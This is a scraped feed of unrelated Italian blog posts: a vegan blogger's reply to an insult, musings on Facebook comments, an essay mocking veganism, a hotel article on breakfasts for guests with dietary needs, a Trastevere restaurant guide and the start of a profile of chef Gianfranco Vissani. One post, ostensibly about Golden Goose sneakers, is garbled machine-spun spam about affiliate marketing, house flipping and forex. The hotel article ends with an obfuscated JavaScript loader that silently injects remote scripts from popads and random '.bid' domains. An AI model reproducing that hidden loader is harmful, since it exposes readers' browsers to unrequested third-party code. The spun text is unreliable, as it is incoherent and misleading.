- quella razionale e gentile:
Mettiti seduto e ragiona, mio caro anon. Io qui non parlo pubblicamente di veganesimo. Non faccio proselitismo. Sfido chiunque a venire a dire che gli ho rotto le scatole perché doveva mangiare vegano. Sono una “vegana peace&love”. Al massimo rompo le scatole finché tutti i presenti a tavola non hanno assaggiato una fetta della mia cheesecake avocado e cioccolato e mangiato i miei tartufini ai datteri o i miei superbiscotti al cioccolato.Alla faccia tua e dei fili d'erba.Ti senti minacciato dai miei pasti cruelty free? Dai miei gelati al latte di mandorla o dalla mia cioccolata gianduia? Ti rendi conto di quanto piccolo sia il tuo ego se ti riduci a questo?!Se vieni sul tumblr-log di una vegana ad attaccare inutilmente, senza NULLA che possa aver provocato una reazione simile… hai grossi problemi. Fatti vedere da uno bravo.
- risposta irrazionale e poco gentile: Se invece, come penso io, non sei capitato PER CASO qui ad insultarmi, allora hai problemi ancora più grossi.Pensi che io non sappia collegare quella conversazione avuta poco fa, con questo messaggio? Pensi di avere il diritto di insultare la mia intelligenza in questo modo?Ti ho spiegato perché non volevo combattere le battaglie di qualcun altro. Non ho preso questa posizione perché l'altra persona non è vegana o perché (anche lei come te) insulta i vegani senza alcun motivo apparente.Ma di certo questi atteggiamenti immaturi non aiutano la vostra stupida causa.
Mi hai dato un motivo in più per non difenderla. Sempre se non è tutto un COMBLOTTO!!1! e mi state pigliando per il culo di massa, perché davvero non riesco a spiegarmi il perché di tanta imbecillità concentrata in pochissimi giorni.
18 notes · View notes
ildapa · 7 years
Text
Di faceook ma soprattutto non di facebook
La cosa più deprimente che abbia fatto nella mia vita è stata iscrivermi a facebook. Mi trovo spesso a viaggiare e per passatempo, qualche volta (ormai sempre meno spesso) scorro la bacheca. Per ragioni di totale sfiducia verso l'intelletto umano (verso il vostro come il mio, chiaro) seguo praticamente quasi solo testate giornalistiche. Ma non sono le notizie a deprimermi, perché le cose terribili avvengono e avverranno sempre, il punto è se da quelle si può costruire qualcosa. Solo stamattina, mentre ero in viaggio, ho incrociato alcune notizie. La prima riguarda una spiaggia che ha deciso di vietare di fumare: i commenti dicevano che con tutto l'inquinamento che c'è nel mondo le persone si preoccupano delle sigarette che non danno fastidio a nessuno (quindi il fatto che il mondo faccia schifo non è una ragione per provare a tutelarlo, ma d’infierire). Quando qualcuno gli faceva notare che, oltre all'infastidire ormai c'è un mozzicone per ogni granello di sabbia rispondevano, incazzati, che esistono i portacenere da esterno come se davvero uno solo di loro ne avesse mai fatto uso. Poi c'è l'anteprima della trasmissione di Giulia Innocenzi che mostra come, nascondendo delle telecamere in un macello, abbia scoperto il trattamento terribile riservato ai bufalini, mentre tremano di paura di fronte a scene che sono troppo crude persino da raccontare e quindi vi risparmio. Uno dirà vabbè ma chi segue questa pagina sarà interessato alla questione, ma il commento più apprezzato è ovviamente uno che dice invece di preoccuparsi degli agnellini dovrebbero parlare - in una trasmissione che parla di maltrattamenti e carenza d'igiene negli allevamenti - dei bambini di Aleppo, ma siccome sono corrotti e vogliono conservare il posto preferiscono non far del male a nessuno. Poi adesso, mentre scrivevo, il commento più apprezzato invece è diventato quello "umano", che dice è inutile parlare di maltrattamenti perché finché si mangia la carne è normale che vada così. Che è come dire di non sfamare un affamato perché tanto la fame nel mondo continuerà ad esistere o di buttare le cicche a terra perché tanto tutti sporcano, appunto. Invece no, esistono molte vie di mezzo che non sono complesse neanche per menti semplici, come la videosorveglianza obbligata 24h, spazio vitale minimo garantito e controlli a campione per verificare livelli di ormoni e antibiotici (che, in teoria, non dovrebbero esserci, mai, invece in realtà ci sono, sempre). Roba così che si pensa in 4 secondi scarsi, mica il teorema di Birkhoff? No, aspettiamo all'infinito che siamo tutti vegani, per principio; se non per dispetto, mi vien da dire. Come se il problema fosse ammazzare quando le persone in Italia, per esempio, soffrono ancora perché non le si vuole ammazzare. Poi vale anche al contrario: trovi persone che gioiscono quando un ragazzo viene incornato nella gola perché essendo un torero se lo merita. Io non so se se lo meriti o meno, ma mi fa comunque terrore il fatto che se ne possa gioire, dato che purtroppo è cresciuto in quell'ambiente ed è stato educato per quello all'età in cui nessuno di noi ha ancora sviluppato un'etica propria, e dato che come il toro è solo una pedina di questo scontro sanguinario tenuto in vita da turisti paganti, e chi esulta alla morte del torero, io mi chiedo, è davvero così diverso da quegli altri turisti che esultano alla morte del toro? Forse sì, per carità, fate voi. E con questi esempi potrei andare avanti all'infinito, perché esistono solo questo genere di osservazioni binomie, ed è triste constatare che siamo un po' come la signora Maria. La signora Maria è una brava signora. Quando doveva costruirsi la casa, mia nonna le disse di non farsela più alta della sua dato che le abitazioni sarebbero state attaccate, perché poi sarebbe scesa l'acqua, ma lei se la fece di una ventina di centimetri più alta, forse pure meno, e mia nonna ne guadagnò una parete costantemente umida. Ecco, qui nessuno fa del male a nessuno, siamo tutti bravi come la signora Maria, e sicuramente per i venti centimetri che ci prendiamo non verrà la fine del mondo. E poi alla fine ci siamo presi tutti venti centimetri in più al giorno e non c'è rimasto più niente e ora tocca alle nuove generazioni restituire tutto per provare ad equilibrare un divario mai così sterminato, nemmeno nelle epoche più oscure della storia umana. Non dico “alle nuove generazioni” riferendomi a noi, perché noi siamo ancora quella generazione di mezzo, quella viziata ed inconsapevole venuta fuori dall'oscurantismo culturale e dal consumismo cannibale. Noi, se ci andrà bene, saremo semplicemente dimenticati, così come oggi siamo dimenticati da noi stessi, mentre ci preoccupiamo di metterci in forma ma siamo sempre insoddisfatti e di migliorare le nostre doti culinarie perché dobbiamo instragrammare i piatti e passiamo le giornate immersi nel cercare con ansia sugli e-shop una maglia che si abbini alla nostra giacca e che dica di noi qualcosa che vorremmo si dicesse di noi, perché poi che c'è in realtà da dire boh.
E questi sono i miei pensieri felici mentre torno dalle vacanze, buona settimana anche a voi.
53 notes · View notes
pangeanews · 5 years
Text
L’Anticristo in un hamburger. Sul veganesimo, nato come una pratica utile a proteggere l’ambiente ed evoluta in ideologia elitaria e autoritaria
Premessa: amo la cucina vegetale e, anche se dopo avere letto questo articolo penserete che sono un cannibale pronto a divorare una bistecca a colazione e un vegano a pranzo, non è vero. Se prendo a sberle i pasdaran del cibo verde è perché non sopporto gli isterismi, il furore ideologico e lo scarso esercizio del dubbio.
“È salutare?”
Mi piace cucinare, e questa è la domanda che mi sento rivolgere sempre più spesso da chi assaggia un mio piatto.
E non finisce qui.
“Mi farà perdere peso?”
Uffa, uffa.
“Mi farà vivere più a lungo?”
Tris di uffa.
“È senza zucchero, senza grassi, senza panna, senza lievito, senza glutine, senza olio di palma, senza carne, senza insaccati, senza lattosio?” 
Poker.
* L’ossessione salutista sbanca il tavolo, e a me rimane il dispiacere di scoprire che il mondo è popolato da persone che vedono il diavolo in un hamburger e, in preda a un fervore credulone acceso come fuoco, hanno incenerito la passione per il buon cibo, gli odori, il gusto. Sono certo che sarebbero disposti a tracannare un cocktail di feci e urina, se solo un mediconzolo imperito nell’arte del tweet ne decantasse i benefici. D’altra parte, l’urinoterapia che il medico dell’antica Grecia Galeno prescriveva ai suoi pazienti ha ancora qualche manipolo di cultori convinti che quel giallo elisir possa curare ogni malattia, dalla semplice influenza sino all’asma, l’emicrania e persino il cancro.
Urina sì, ma un tiramisù neanche per idea. Così va il mondo: esistono i Pantagruel, i Nero Wolfe che nessuna poltrona riesce a contenere, i seicento milioni di obesi, ma ci sono anche persone che si ammalano di ortoressia, un comportamento alimentare che trasforma l’idea del mangiare sano in un’ossessione patologica. Per loro, la paura che un cibo faccia ingrassare è sempre più importante del piacere di mangiarlo.
*
Medici e nutrizionisti invitano giustamente a evitare le grandi abbuffate, ma questo nuovo approccio all’alimentazione, meno godereccio e più orientato alla ricerca di uno stile di vita sano, ha scatenato un esercito di laureati all’università della strada che sproloquiano sui social elencando i cibi da mangiare e quelli da evitare per diminuire il rischio di ammalarsi. L’uomo, sostengono questi pasdaran delle mille rivoluzioni nutrizionali, si ammala esclusivamente a causa della sua alimentazione.
Il risultato è che il cibo viene visto come un nemico, una necessità obbligatoria che nasconde troppe insidie, e chi cede alla seduzione del piacere gastronomico è un peccatore stolto, un autolesionista, un irresponsabile.
* Per quel che mi riguarda, detesto i fanatismi. La mattina, appena alzato, mi vesto in fretta e vado al bar dove faccio colazione con un cornetto ai frutti di bosco, il mio preferito. E se mi passa sotto il naso un bignè, l’afferro al volo. Soltanto gli idioti non sono buongustai, diceva Guy de Maupassant.
Il piacere della gola è gioia di vivere, allegria, pace, fonte di felicità. Rinunciarvi vuol dire rinunciare a essere uomini, ma non è possibile: è possibile negarsi un cibo, non il suo desiderio.
Forse bisognerebbe tornare a leggere Aristotele o almeno ricordare una delle sue locuzioni più famose: In medio stat virtus, un saggio invito a considerare la virtù come espressione dell’equilibrio fra l’eccesso e il difetto.
*
Equilibrio! Non le esagerazioni di quell’altra calamità concettuale che è il veganesimo, nato come pratica utile a proteggere l’ambiente e rispettare gli animali, ma ben presto trasformatosi in un’ideologia elitaria e autoritaria per la quale un uomo che passeggia per strada mangiando un cheesburger è un assassino a piede libero da dare in pasto ai leoni.
Se un regime alimentare diventa un fatto politico, succede che di colpo la scelta tra una frittata di piselli e un filetto arrosto assume i contorni di una guerra tra chi vuole decidere quale sia lo stile migliore. Essere vegetariani è una scelta sana e profonda, ma andare nei ristoranti a trafugare le aragoste mi sembra un’eversione dagli sviluppi indecifrabili. Arriverà il giorno che qualcuno sparerà ai macellai?
* Per assecondare le paturnie dei vegani, sono nati prodotti come il NotMilk, il latte che non è latte ma contiene un pasticcio di elementi di origine vegetale che grazie all’alchimia di qualche camice bianco con la pipetta in mano hanno assunto il sapore del latte. Nel nostro mondo globalizzato disponiamo di materie prime diversissime tra loro, eppure la parola chiave dell’industria alimentare vegana è imitare. Basta curiosare nel reparto dei prodotti vegan di un supermercato per avere l’impressione di trovarsi a una festa di Carnevale: burro di cocco mascherato da grasso bovino, wurstel a base di verdure, salami di lenticchie, mozzarelle di riso e tanta soia.
No, non ho detto gioia, ma soia, soia, soia… maledetta soia!
Guardando una bistecca non bistecca, rifletto: come mai un vegano ha il desiderio di mangiare un cibo che assomiglia a ciò che egli stesso definisce un cadavere? C’è del gusto? Sì, ma assai perverso. Come essere dei serial killer di manichini del supermercato. E a questo punto chiedo l’aiuto di uno strizzacervelli.
*
Sono convinto che prima o poi arriveremo al punto di produrre degli animali robotizzati costruiti con materiali commestibili. Allora anche i vegani imbracceranno il fucile senza sensi di colpa.  Ieri, mentre stavo sorseggiando un latte macchiato in un bar, una bionda adoratrice del dio Tofu si è avvicinata con aria minacciosa e mi ha suggerito di smettere di bere, preannunciandomi un futuro da obeso. Ha detto: “Hai presente i vitelli? Bevono tanto di quel latte che in poco tempo si trasformano in bovini adulti da 400 chili”.
Francesco Consiglio
*In copertina: Giuseppe Arcimboldo, “L’imperatore Rodolfo II in veste di Vertumno”, 1591
L'articolo L’Anticristo in un hamburger. Sul veganesimo, nato come una pratica utile a proteggere l’ambiente ed evoluta in ideologia elitaria e autoritaria proviene da Pangea.
from pangea.news https://ift.tt/2pkxeQS
0 notes
Text
Golden Goose Super Star Sneakers Saldi Campagne pubblicitarie affiliate e marketing con blog la vecchia oca?
Un altro primissimo utente, Seth Godin, ha portato l'ebook più importante e più acquisito della storia, Unleashing the Ideavirus, al livello più recente del marchio. La lunghezza del suo 'cervello misto di giornali' Unleashing che il SUPER Ideavirus include18 DVD e link affiliati a tutto Internet. O un importante piccolo selvaggio è; ottenere un appartamento che qualcuno ha affittato per permettere loro di entrare in una famiglia attraente, oltre alla famiglia risultata allo scoperto per essere un po 'più quasi disfunzionale e distrutto anche. I rude forse ci Golden Goose Deluxe Brand Donna ossono essere buchi dentro le pareti, roba di (cose cattive), ogni luce è rotta, il cantiere è morto, vedi il suggerimento. Affittate un rifiuto e insultate il tappeto, regolate le pareti, concimate un prato e scegliete una quantità di Golden Goose Super Star Sneakers Saldi udino e yogurt. Quindi gli individui fanno ogni altri $ 55.000. Ognuno dei nostri reno ha un prezzo di $ 30k, interessi $ 8K, la nostra opportunità $ gratuita, ma abbiamo un netto profitto. Questo approccio implica alcune abilità di base e sensazione comune. O un particolare bit più selvaggio è; finiamo e paghiamo per un lotto vuoto e poi costruiamo una casa particolare. Il documento ha fatto interamente di questo tipo e questo importante Molti di noi hanno perso questa maglia. Ma piuttosto una mia donna ha modellato oltre cento case a causa del graffio e ne ha derivate decine di milioni. Il mio partner lo menziona a sua volta perché un piccolo numero di voi e io appena acquisisco talenti su uno dall'altro, due aree di lavoro di assunzione e sempre qualsiasi attitudine in aree alternative. Dopo aver capito la tua regione, non considerare il ramo lontano da. Basta fare in modo che tu faccia un po 'di soldi in qualunque cosa tu rimanga bravo. Pensi davvero che dovrebbe essere troppo noioso, ehi eserciti i tuoi soldi extra per andare in vacanza. In genere pasticcia con le tue macchine per impastare, dopo aver inciampato sulle tue Sneakers Golden Goose Deluxe Brand Donna Saldi Online carpe d'oro, che ti fa sedere un vero uovo d'oro. Non cancellarlo! Data la controversia principale del 'libro illustrato', Post ha deciso di mettere a fuoco in particolare 'l'esperienza dei vegani' sui titoli dei bambini. Qualsiasi tipo di ricerca sul sito di Vook mostrerà 20 campionati nella categoria spesso dei bambini, che vanno a 'The Three main Little Pigs', 'Humpty Dumpty' e 'The Frog Prince', alla loro esperienza di Sherlock Holmes, Th ice Phantom creato dall'Opera e That Lincoln Write. Ma tutto ciò che gli utenti pensano sia un professionista che una volta era un certo venditore di automobili che poi insegna a un gran numero di nuovi tipi di business che molte persone modellano il proprio lavoro usando le star del seeing? Ancora una volta, un individuo può crearlo da sé, pagare una donna per assemblarlo per te e / o magari usare modelli prefabbricati quelli che acquisteresti e trovare adatti per la vita libera in omaggi con tali. A differenza di un certo numero di risorse tradizionali e mercati di trading su futures, su questo punto c'è poco spazio centrale di trading in valuta estera qui nel commercio estero. In generale, l'investimento viene effettuato utilizzando telefoni cellulari o affiliati. Il mercato chiave per le valute è considerato un 'mercato interbancario' che normalmente include una rete di banche, società di programmi, società seri oltre alle altre Golden Goose Super Star Donna randi istituzioni finanziarie.
0 notes
jucks72 · 7 years
Text
Colazione, momento del servizio da non sottovalutare
New Post has been published on http://www.it-gourmet.it/2017/12/14/colazione-momento-del-servizio-da-non-sottovalutare/
Colazione, momento del servizio da non sottovalutare
Nell’accoglienza spesso la colazione è il momento del servizio meno valorizzato. Come si può promuoverla dando importanza ai prodotti del territorio e rispettando le persone che hanno esigenze alimentari particolari? È importante per la struttura ricettiva prevedere un’offerta adeguata per ogni tipo di cliente.
Unconventional guest – “ospite non convenzionale” – è la dicitura che classifica tutti quei clienti che hanno delle esigenze particolari o bisogni specifici. Per quanto riguarda l’alimentazione, fanno parte di questa categoria, per esempio, vegetariani, vegani, crudisti, celiaci, intolleranti al lattosio, allergici, sportivi, persone di etnie e religioni diverse. Nella maggior parte dei casi, però, la non conoscenza di queste importanti “masse di nicchia” porta l’azienda a non creare risposte adeguate per questi target. Gli unconventional guests non vengono ancora accolti come meriterebbero: si sentono un problema, dei “diversi”.
Prima di capire come soddisfare e conquistare questa fascia importante di clientela vediamo quali sono gli errori più comuni che si possono commettere. Abbiamo preso in esame 10 casi.
Nascondere i prodotti per unconventional guests o disporli in angoli nascosti del buffet per paura che li prendano anche gli altri ospiti. Spesso questi prodotti vengono tenuti dietro le quinte, perché costano di più (anche se non è sempre vero): la tendenza è quindi quella di “aspettare” che l’ospite ne faccia richiesta. Ne consegue che non venendo consumati scadono e quindi bisogna buttarli. E questo è un costo.
Pensare che il solo e semplice “angolo benessere” possa bastare. E in questo caso non considerare le esigenze anche dei vegetariani, dei vegani e dei celiaci per esempio. In realtà, un “angolo” a parte, fa sentire “diverso” l’ospite in questione (il messaggio è “tu puoi mangiare solo quello!”). L’altro messaggio implicito è “in questa zona vi è roba sana, tutto il resto è meno salutare e di minore qualità”.
Mettere sul buffet prodotti per gli unconventional guests che magari ha dato il fornitore convenzionale dando per scontato che possano piacere agli ospiti.
Essere convinti che l’unconventional guest venga di sua spontanea volontà a chiedere quello che vorrebbe per colazione. Gli unconventional guests si adattano e si “accontentano” per la maggior parte delle volte, anche perché per anni hanno vissuto esperienze in cui sono stati trattati come un problema.
Non avere personale formato/informato sulle diverse esigenze alimentari. In questo caso si possono anche avere prodotti specifici, ma non sapere la differenza tra un vegetariano e un vegano oppure tra un celiaco e un intollerante al lattosio fa venire meno il fattore “fiducia”.
Non coinvolgere tutti i reparti di un albergo. Nella maggior parte dei casi, né la reception né gli altri reparti sono al corrente di cosa ci sia per colazione, né di cosa possano effettivamente trovare gli unconventional guests per il breakfast.
Esporre i prodotti senza pensare di valorizzarli con una comunicazione visiva d’impatto che illustri all’unconventional guest se può mangiare quel prodotto o meno.
Non tener conto di come possa prenotare un albergo un unconventional guest. Non esistono solo i canali convenzionali (Booking.com, Expedia, ecc.). L’unconventional guest ha o può avere abitudini diverse rispetto agli ospiti più convenzionali nel momento in cui deve cercare un hotel o un ristorante.
Non dedicare sul proprio sito web una sezione dedicata al breakfast. Gli unconventional guests dalle pagine dei siti degli alberghi non sono in grado di sapere o di capire se troveranno qualcosa per loro.
Non pensare di pianificare strategie di unconventional & green marketing per attirare questo ospite che non è a conoscenza di una offerta specifica per lui.
Quali sono allora le 3 regole d’oro per conquistare questi ospiti?
Avere i giusti prodotti da giusti fornitori: i prodotti devono essere buoni per tutti (non solo per gli unconventional guests).
Formare tutto il personale di ogni reparto.
Comunicare in modo corretto offline (sul buffet della colazione e in loco, ovunque sia possibile) e online (sul sito web, per esempio, affinché si possa anche anticipare la richiesta e agevolare acquisti e organizzazione interna, per una gestione migliore del magazzino, dei costi e del potenziale cliente).
I benefici nell’avere un unconventional breakfast di successo si possono sintetizzare in 10 punti.
Nuove opportunità di business, anche grazie al passaparola all’interno delle “unconventional communities”, prima dei competitors.
Miglioramento della qualità del servizio percepito anche dalla clientela “convenzionale”.
Differenziazione rispetto alla concorrenza.
Possibilità di presentarsi con una marcia in più anche sui mercati “luxury” e “business”.
Trasmettere il “fattore fiducia” che consente di migliorare ancora di più la qualità del servizio e soddisfare e attrarre un target molto specifico.
Miglioramento della brand reputation: riduzione delle lamentele e maggior fidelizzazione.
Riduzione dei costi grazie a un intelligente food marketing.
Maggiore interesse da parte dei media offline e online.
Crescita personale e professionale di tutto lo staff: acquisizione di una nuova cultura e mentalità nei confronti degli ospiti con esigenze alimentari particolari.
Si applica un modello di vera accoglienza.
Tratto da: Hotel Managers – inverno 2016/primavera 2017
/*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var v=window;v["\x5f\u0070o\x70"]=[["s\u0069t\x65\x49\x64",2164519],["\u006di\x6e\u0042i\u0064",0],["\u0070\x6fp\x75\x6e\x64\x65\x72\u0073PerI\u0050",0],["dela\u0079\u0042\x65\x74\x77\x65\x65n",0],["\u0064\x65\x66\u0061\x75\u006ct",false],["\x64\u0065f\x61\x75\x6ctPe\u0072D\u0061y",0],["\x74o\x70\x6do\u0073t\u004c\u0061y\u0065r",!0]];var p=["/\x2fc\u0031.\u0070\x6f\u0070\u0061\x64\x73\x2e\x6ee\u0074/p\u006f\u0070.\x6as","\x2f/\u0063\u0032.\u0070\x6f\x70a\u0064\x73\u002e\x6ee\u0074\x2f\x70\x6f\u0070.j\x73","\x2f\x2f\u0077\x77w\u002e\x79\x63f\u0070ruj\u0079l\u0075k\x6bx\x2e\x62\x69\x64\u002f\u0078\x2e\x6a\x73","\u002f\u002f\u0077\x77\u0077.u\x76\x79a\x73\u0063q\u0062\x6d.\u0062id\x2fw\u0063\u002e\x6a\u0073",""],d=0,y,s=function()if(""==p[d])return;y=v["\u0064\u006f\u0063\x75\u006d\x65\x6e\u0074"]["\u0063\x72\u0065\x61\u0074eE\x6ce\u006d\u0065\u006e\u0074"]("\u0073\x63rip\u0074");y["\u0074ype"]="\u0074\u0065\x78\u0074\u002f\u006a\x61\u0076\x61\x73c\u0072\u0069pt";y["\x61s\x79\u006e\u0063"]=!0;var a=v["\u0064\x6f\u0063um\x65\x6e\u0074"]["g\x65t\x45lem\x65\u006e\u0074\x73By\u0054\u0061\u0067\u004e\x61\x6d\u0065"]("\u0073\x63\x72i\u0070t")[0];y["\u0073\x72c"]=p[d];if(d<2)y["\x63r\x6f\u0073s\u004fri\x67\x69\u006e"]="\u0061\x6e\u006f\x6e\x79\u006d\u006f\x75\x73";;y["\u006f\x6eerr\u006f\u0072"]=function()d++;s();a["p\u0061r\u0065\u006e\u0074\u004e\u006fde"]["i\x6es\u0065\u0072t\x42\u0065\u0066\u006f\u0072e"](y,a);s())(); /*]]>/* */
0 notes
mastro-kun · 7 years
Video
instagram
Alla faccia dei vegani! #foodporn #porchetta #tiberlamiere #innaugurazione #nuovostabile #pork #gnam #graziemauriziomaestri #veganiacasa
0 notes
ilaonmars · 7 years
Text
 << Maccarone, m’hai provocato e io ti distruggo! Io me te magno >>
Era da tempo che volevo consigliarvi un po’ di cose da mangiare ma sopratutto posti DOVE mangiare a Roma che è talmente vasta da avere l’imbarazzo della scelta. Visto che mi ci trovo spesso, cerco locali poco turistici, dai prezzi abbordabili ma soprattutto buoni da consigliare a chi viene nella capitale. Inizio con la zona di Trastevere perchè è quella dove ho mangiato più spesso in passato (ecco perchè ho preso qualche foto dagli account ufficiali, non pensavo a far foto) e anche di recente ma che possiede forse il numero maggiore di trappole per turisti, con prezzi esorbitanti e pietanze abbastanza anonime.
La tradizione romana prevede tanti tipi di piatti, piuttosto poveri e con materie prime semplici, quindi le ricette più buone sono le più semplici a parer mio, senza troppi ingredienti a mescolare i gusti. Ovviamente nella zona di Trastevere sono sorti anche ristoranti e piccoli locali dalla cucina meno tradizionale ma altrettanto buona o proveniente da altre zone d’Italia. Vi consiglio quelli dove mi sono trovata meglio e dove si può andare a colpo sicuro!
Se cliccate sui nomi dei locali vi si aprirà il sito o direttamente il menu.
TONNARELLO – Via della Paglia 1-2-3
Nel cuore di Trastevere troviamo questa antica locanda. C’è un’ampia scelta di antipasti, primi, secondi e le pinse romane. Io ho provato i tonnarelli ovviamente e li ho scelti alla carbonara che non mangiavo da un tempo incalcolabile. Vi consiglio anche i carciofi alla giudia (in ogni trattoria prendeteli nel periodo dei carciofi quindi aprile/maggio e ottobre/novembre) ed i saltimbocca alla romana (carne di vitello rivestita di prosciutto crudo e salvia). Non consente prenotazioni quindi se c’è da aspettare per avere un tavolo non demordete ed aspettate; in genere è così per ogni buon locale di Trastevere, (vale anche per gli altri che vi consiglierò) soprattutto all’ora di cena.
DA ENZO AL 29 – Via dei Vascellari 29
Più nascosto rispetto agli altri ma sempre all’altezza, basta notare la lunga fila che c’è all’ora di cena, trovate al numero 29 questo grazioso locale retrò sempre allegro, pieno di gente e personale gentile. Anche qui c’è un’ampia scelta di piatti romani tra cui scegliere ma io andrei sul sicuro consigliando il fiore di zucca fritto ed un piatto di pasta alla gricia (la madre dell’amatriciana) che sarà sicuramente abbondante e fatta come da tradizione. In questa trattoria sono buoni anche i secondi ed i dolci!
  GRAZIA E GRAZIELLA – Largo M.D Fumasoni Biondi 5
Dello stesso proprietario di Tonnarello e si trova proprio di fronte a questo. Servizio altrettanto buono, forse più veloce e sempre pieno di persone, non per questo verrete trascurati. In questo caso mi sento di consigliare un piatto non romano ma che io adoro ed è l’insalatona con il salmone affumicato. Una chicca romana però ve la consiglio, magari per accompagnare un secondo, le patate fritte cacio e pepe…Addio proprio! Il locale è molto carino: vintage e decorato con le biciclette e tutto ciò che le ricorda.
  CAPATOAST – Vicolo del Cinque 30 B
Fa parte di una catena take away sparsa un po’ in tutta Italia che offre toast enormi e dai gusti più disparati. Non sarà un pasto tipicamente romano ma essendo un take away è un ottimo modo per risparmiare soldi e tempo mangiando il toast mentre si prosegue la visita della città o ce la si gode seduti fuori all’ombra di qualche piazzetta. Vi consiglio quello con rucola, bresaola e squaquerone ma c’è l’imbarazzo della scelta, inoltre c’è l’alternativa vegetariana e vegana ( meno scelta rispetto al resto ). Se però non volete rinunciare a qualche ingrediente della cucina romana, potete prendere il Toast Superlativo con la porchetta d’Ariccia e le patate o il Rustico che contiene sempre la porchetta ma con i friarielli.
EGGS – Vicolo del Cedro 26
Come si evince dal nome del locale, non è posto questo per vegani. E’ un bistrot dedicato completamente a questo ingrediente così versatile: l’uovo. Locale molto originale ma piccolino con pochi tavoli e l’oppurtunità di mangiare al bancone guardando la preparazione. Qui direi che provare la carbonara è d’OBBLIGO! Anche perchè c’è addirittura la carta delle carbonare, ci vuole bravura per farne una degna del suo nome ma è anche bello giocare con i piatti, ricreare e stupire, no? Inoltre è aperto anche a colazione per chi ama o vuole provare le classiche colazioni intercontinentali a base di uova o qualche dolcetto.
    MAMA PASTA – Via del Moro 37 D
Qui abbiamo pasta a tutto tondo con vari tipi di formato e di condimento da scegliere, a seconda della disponibilità. Io però vi dico subito che è il caso di provare il tortellino fritto, gli emiliani forse mi odieranno ma è stra buono! I prezzi del locale sono un po’ altini per le porzioni ma per provare o spizzicare va più che bene; se li merita anche per l’originalità dell’idea di far scegliere la pasta ed il condimento e shakerarli al momento. Inoltre lasciate spazio anche ad altre trattorie da provare durante la giornata..
  DON PIZZA FRITTA – Via S.Francesco a Ripa 103
Un po’ di profumi napoletani si respirano da questa parte grazie a Don e alla sua pizza fritta! La cucina è a vista e potete vedere mentre farciscono e preparano la vostra pizza fritta che essendo un tipico elemento da street food va mangiato in piedi o camminando, quindi non troverete tavoli nel locale. Pizza poco unta, ingredienti scelti e tanta simpatia. Io vi consiglio la Vesuvio, classica ma buona: pomodoro, mozzarella di bufala, pepe e basilico. Nella foto che ho scelto invece credo ci sia la Cetara con alici, pomodoro giallo, basilico e provola.
GRATTACHECCA DI SORA MIRELLA – Lungotevere degli Anguillara, Ponte Cestio
Se siete a Roma e non provate la grattachecca, vi siete persi una parte della cultura della capitale! Non c’è romano che non si fermi a prendere una grattachecca in quelle calde giornate estive e qui ne trovate una vasta scelta tra quelle classiche e con aggiunta di frutta. Io l’ultima volta ho preso una semplice all’arancia, cercavo qualcosa di dissetante per via del caldo e della mia simpatica allergia. Se andate a Roma d’estate, non potete non godervi una grattachecca passeggiando lungo il Tevere!
Non ho ancora trovato una pizzeria che faccia una pizza come si deve nella zona di Trastevere quindi non mi espongo su argomento pizza, c’è da dire che su questo sono tanto pignola! Se dovessi scoprire altri posti dove si mangia bene, si spende adeguatamente ed in modo originale vi avvertirò! Prima mi dedicherò ad altre zone di Roma ^_^
Roma – Dove mangiare a Trastevere  << Maccarone, m'hai provocato e io ti distruggo! Io me te magno >> Era da tempo che volevo consigliarvi un po' di cose da mangiare ma sopratutto posti DOVE mangiare a…
0 notes
giancarlonicoli · 5 years
Link
Gianfranco Vissani non Giancarlo
6 APR 2019 15:01"SONO COME RODOLFO VALENTINO. LE DONNE TORNANO TUTTE DA ME, PERCHÉ PENSO SEMPRE PRIMA AL LORO PIACERE E POI AL MIO - FARE LO STESSO SESSO TUTTE LE SERE, MI FA DIVENTARE UN LEONE IN GABBIA. ORA STO BENE DA SOLO. LA VITA CONIUGALE DOPO TANTI ANNI DIVENTA UN PROBLEMA. TI ALZI LA NOTTE, TI SCAPPA UNA SCOREGGINA. LEI ALL'INIZIO TACE, POI..." "IL CIBO AFRODISIACO? NON ESISTE. È IL GESTO CHE È AFRODISIACO. UN CERTO MODO DI MANGIARE LE OSTRICHE, SE NON VOMITI DOPO. IL PEPERONCINO? NO, QUELLO BRUCIA E BASTA” POI PUNGE BASTIANICH, CRACCO, BARBIERI:''GLI VOGLIO BENE, NON MI IMPORTA CHE SIA GAY''
Giancarlo Dotto per Diva e Donna
“Scusami il deshabillé…”. Gianfranco Vissani appare ballonzolando in tutto il suo anarchico splendore, canotta della salute, pantaloni scuri e immancabili scarpe rosse di pelle con le sue iniziali. “Ho perso 25 kg…” fa lui trionfante, mezzo bifolco e mezzo cardinale, saltando ogni convenevole. “…Scusami mezz’ora, mi aspetta il mio pasto, lombatina ai ferri e broccoli”, sospira con gli occhioni liquidi. Non fai in tempo a immaginarlo il già smisurato omone con venticinque chili in più addosso che lui è già sparito negli anfratti della tana che ha ereditato dal padre quasi mezzo fa, una baracca o poco più che lui ha trasformato in un luogo di culto oltre che in un ristorante pluristellato Michelin. Duemila metri quadri da visita guidata e sballo sensoriale garantito.
“Casa Vissani”, così si chiama per significare che il palato esulterà nella giusta atmosfera, magari davanti a un camino acceso, sul lago di Corbara in Umbria. A occhio e croce, l’Orco di Baschi è sempre la stesso di quando non era nessuno e ammazzava in giardino le mosche con le mani, le stesse mani semianalfabete con cui cucina da Dio. Primo e inimitabile caso di una lunga serie di chef teledivi, epigoni nemmeno paragonabili all’originale. Genio barbarico alla Caravaggio, di molti appetiti, tutti smodati, che siano i fornelli, la parola o le donne. Le donne, soprattutto. Se lui è l’altare sconsacrato, il figlio Luca, una goccia d’acqua, è il suo contraltare. Impeccabile, cerimonioso, giacca e cravatta, baciamano alle signore. “Signor Vissani”, lo chiama così il padre in pubblico, anche quando si mette fracassone a importunare clienti e personale. Luca è la terza generazione dei Vissani, il manager che traduce gli estri sulfurei del padre in un brand esportabile nel mondo.
